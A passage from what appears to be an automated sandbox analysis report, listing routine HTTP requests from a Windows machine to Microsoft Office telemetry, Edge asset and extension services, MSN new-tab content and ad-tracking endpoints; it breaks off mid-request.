Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8_S6oHM3gLZTge1i9YYmXAzVUCUzaaSMkpLzTXaRf6C1ChBPf0rbj2Qe1EiTui0zjCUayL0ZCV3qxgQw-LFqIVTtF3LWBsqbTwYvuzYmrBhv6PkjsxhmMVvGJNmjWTfc2tID_IvSHEz6JGTkrB8IFT9EurPozSV7fyX8hwxRBvso8X-PX%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmNvbGxlZ2Utc3R1ZGVudC1wcmljaW5nJTNmb2NpZCUzZGNtbWZ1NndpMTY0%26rlid%3D6c434c23590b10c2dbda2b61c2701cad&TIME=20241124T032034Z&CID=531098720&EID=531098720&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733023243&P2=404&P3=2&P4=kspACc7KhzriRMjQxO3sLP%2fE1a4zon8aVVGRf76lXyzZqcl1End3nAEfj1%2bKkRAvTIMkPshZTxBXk3m%2f5jjQfw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: s98IFLj+Nx7Dm/1ZAAV0jySec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8_S6oHM3gLZTge1i9YYmXAzVUCUzaaSMkpLzTXaRf6C1ChBPf0rbj2Qe1EiTui0zjCUayL0ZCV3qxgQw-LFqIVTtF3LWBsqbTwYvuzYmrBhv6PkjsxhmMVvGJNmjWTfc2tID_IvSHEz6JGTkrB8IFT9EurPozSV7fyX8hwxRBvso8X-PX%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZmNvbGxlZ2Utc3R1ZGVudC1wcmljaW5nJTNmb2NpZCUzZGNtbWZ1NndpMTY0%26rlid%3D6c434c23590b10c2dbda2b61c2701cad&TIME=20241124T032034Z&CID=531098720&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=12E4923F37686EB42D5D877E360A6F8E; _EDGE_S=SID=30FDDCF109BE69BB031AC9B008B768DB; MR=0
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1Host: assets2.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=022A54BEBDE36963130D41FFBC8168FF; _EDGE_S=F=1&SID=1C801C1AC56E684E22B4095BC4DA6977; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732418452680&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=84cda325a222458b886d32c628c65b9a&activityId=84cda325a222458b886d32c628c65b9a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=022A54BEBDE36963130D41FFBC8168FF; _EDGE_S=F=1&SID=1C801C1AC56E684E22B4095BC4DA6977; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1732418452680&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=022A54BEBDE36963130D41FFBC8168FF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732418452680&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=84cda325a222458b886d32c628c65b9a&activityId=84cda325a222458b886d32c628c65b9a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=6CF8A6B4584A453F9F5BDFB39B49680B&RedC=c.msn.com&MXFR=022A54BEBDE36963130D41FFBC8168FF HTTP/1.1Host: c.bing.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-MS-GEC: 8A275EEE626CE5B6B65390C20EFB4E5147246FD5ECA2A44E85C6DDA632C24935Sec-MS-GEC-Version: 1-117.0.2045.55Referer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732418452680&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=022A54BEBDE36963130D41FFBC8168FF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1B1fadcc7439ef02cacbc031732418454; XID=1B1fadcc7439ef02cacbc031732418454
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=022A54BEBDE36963130D41FFBC8168FF&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=1d9e89a5e3274a6c8a37023c34b910fe HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, 